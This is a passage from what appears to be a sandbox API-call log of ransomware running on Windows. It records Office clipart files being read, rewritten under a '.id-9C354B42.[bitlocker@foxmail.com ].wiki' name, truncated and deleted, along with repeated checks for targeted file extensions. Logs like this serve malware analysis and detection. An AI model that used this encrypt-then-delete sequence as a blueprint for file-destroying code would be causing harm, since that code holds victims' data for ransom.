(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString=".1cd") returned 4 [0187.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString=".jpg") returned 4 [0187.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString=".doc") returned 4 [0187.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString=".docx") returned 5 [0187.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.950] lstrlenW (lpString=".pdf") returned 4 [0187.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString=".xls") returned 4 [0187.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.950] lstrlenW (lpString=".xlsx") returned 5 [0187.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.950] lstrlenW (lpString=".ppt") returned 4 [0187.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString=".zip") returned 4 [0187.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.950] lstrlenW (lpString=".rar") returned 4 [0187.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString=".bz2") returned 4 [0187.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.950] lstrlenW (lpString=".7z") returned 3 [0187.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.950] lstrlenW (lpString=".dbf") returned 4 [0187.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.951] lstrlenW (lpString=".1cd") returned 4 [0187.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0187.951] lstrlenW (lpString=".jpg") returned 4 [0187.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.951] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.951] lstrlenW (lpString="DD01176_.WMF") returned 12 [0187.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.951] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1888) returned 1 [0187.951] CloseHandle (hObject=0x1d8) returned 1 [0187.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0187.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.952] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.952] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.952] GetLastError () returned 0x0 [0187.952] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x760, lpOverlapped=0x0) returned 1 [0187.954] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x770, lpOverlapped=0x0) returned 1 [0187.954] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.955] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.955] SetEndOfFile (hFile=0x20c) returned 1 [0187.955] CloseHandle (hObject=0x20c) returned 1 [0187.955] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.955] SetEndOfFile (hFile=0x1d8) returned 1 [0187.956] CloseHandle (hObject=0x1d8) returned 1 [0187.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0187.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.956] lstrlenW (lpString=".doc") returned 4 [0187.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.956] lstrlenW (lpString=".docx") returned 5 [0187.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.956] lstrlenW (lpString=".pdf") returned 4 [0187.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.956] lstrlenW (lpString=".xls") returned 4 [0187.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.956] lstrlenW (lpString=".xlsx") returned 5 [0187.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.956] lstrlenW (lpString=".ppt") returned 4 [0187.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.956] lstrlenW (lpString=".zip") returned 4 [0187.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.957] lstrlenW (lpString=".rar") returned 4 [0187.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString=".bz2") returned 4 [0187.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString=".7z") returned 3 [0187.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString=".dbf") returned 4 [0187.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString=".1cd") returned 4 [0187.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString=".jpg") returned 4 [0187.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString=".doc") returned 4 [0187.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString=".docx") returned 5 [0187.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.957] lstrlenW (lpString=".pdf") returned 4 [0187.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString=".xls") returned 4 [0187.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.957] lstrlenW (lpString=".xlsx") returned 5 [0187.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.957] lstrlenW (lpString=".ppt") returned 4 [0187.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.957] lstrlenW (lpString=".zip") returned 4 [0187.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.958] lstrlenW (lpString=".rar") returned 4 [0187.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.958] lstrlenW (lpString=".bz2") returned 4 [0187.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.958] lstrlenW (lpString=".7z") returned 3 [0187.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.958] lstrlenW (lpString=".dbf") returned 4 [0187.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.958] lstrlenW (lpString=".1cd") returned 4 [0187.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63 [0187.958] lstrlenW (lpString=".jpg") returned 4 [0187.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.958] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.958] lstrlenW (lpString="DD01178_.WMF") returned 12 [0187.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.958] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3796) returned 1 [0187.959] CloseHandle (hObject=0x1d8) returned 1 [0187.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0187.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.959] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.959] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.959] GetLastError () returned 0x0 [0187.959] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xed4, lpOverlapped=0x0) returned 1 [0187.961] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0187.962] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.962] WriteFile (in: hFile=0x20c, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.962] SetEndOfFile (hFile=0x20c) returned 1 [0187.962] CloseHandle (hObject=0x20c) returned 1 [0187.962] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.962] SetEndOfFile (hFile=0x1d8) returned 1 [0187.963] CloseHandle (hObject=0x1d8) returned 1 [0187.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0187.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0187.963] lstrlenW (lpString=".doc") returned 4 [0187.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.963] lstrlenW (lpString=".docx") returned 5 [0187.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.963] lstrlenW (lpString=".pdf") returned 4 [0187.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.963] lstrlenW (lpString=".xls") returned 4 [0188.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.169] lstrlenW (lpString=".xlsx") returned 5 [0188.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.169] lstrlenW (lpString=".ppt") returned 4 [0188.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.169] lstrlenW (lpString=".zip") returned 4 [0188.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.169] lstrlenW (lpString=".rar") returned 4 [0188.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString=".bz2") returned 4 [0188.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString=".7z") returned 3 [0188.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.169] lstrlenW (lpString=".dbf") returned 4 [0188.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.169] lstrlenW (lpString=".1cd") returned 4 [0188.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.169] lstrlenW (lpString=".jpg") returned 4 [0188.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString=".doc") returned 4 [0188.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString=".docx") returned 5 [0188.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.170] lstrlenW (lpString=".pdf") returned 4 [0188.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString=".xls") returned 4 [0188.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.170] lstrlenW (lpString=".xlsx") returned 5 [0188.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.170] lstrlenW (lpString=".ppt") returned 4 [0188.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString=".zip") returned 4 [0188.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.170] lstrlenW (lpString=".rar") returned 4 [0188.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString=".bz2") returned 4 [0188.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString=".7z") returned 3 [0188.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString=".dbf") returned 4 [0188.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString=".1cd") returned 4 [0188.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 63 [0188.170] lstrlenW (lpString=".jpg") returned 4 [0188.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.171] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.171] lstrlenW (lpString="DD01761_.WMF") returned 12 [0188.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.173] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4148) returned 1 [0188.173] CloseHandle (hObject=0x200) returned 1 [0188.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0188.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.173] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.174] GetLastError () returned 0x0 [0188.174] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1034, lpOverlapped=0x0) returned 1 [0188.175] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0188.176] ReadFile (in: hFile=0x200, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.177] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.177] SetEndOfFile (hFile=0x1f8) returned 1 [0188.177] CloseHandle (hObject=0x1f8) returned 1 [0188.177] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.177] SetEndOfFile (hFile=0x200) returned 1 [0188.178] CloseHandle (hObject=0x200) returned 1 [0188.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0188.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.178] lstrlenW (lpString=".doc") returned 4 [0188.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.178] lstrlenW (lpString=".docx") returned 5 [0188.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.178] lstrlenW (lpString=".pdf") returned 4 [0188.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.178] lstrlenW (lpString=".xls") returned 4 [0188.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.178] lstrlenW (lpString=".xlsx") returned 5 [0188.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.178] lstrlenW (lpString=".ppt") returned 4 [0188.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.178] lstrlenW (lpString=".zip") returned 4 [0188.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.179] lstrlenW (lpString=".rar") returned 4 [0188.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString=".bz2") returned 4 [0188.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString=".7z") returned 3 [0188.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW (lpString=".dbf") returned 4 [0188.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW (lpString=".1cd") returned 4 [0188.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW (lpString=".jpg") returned 4 [0188.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0188.179] lstrlenW 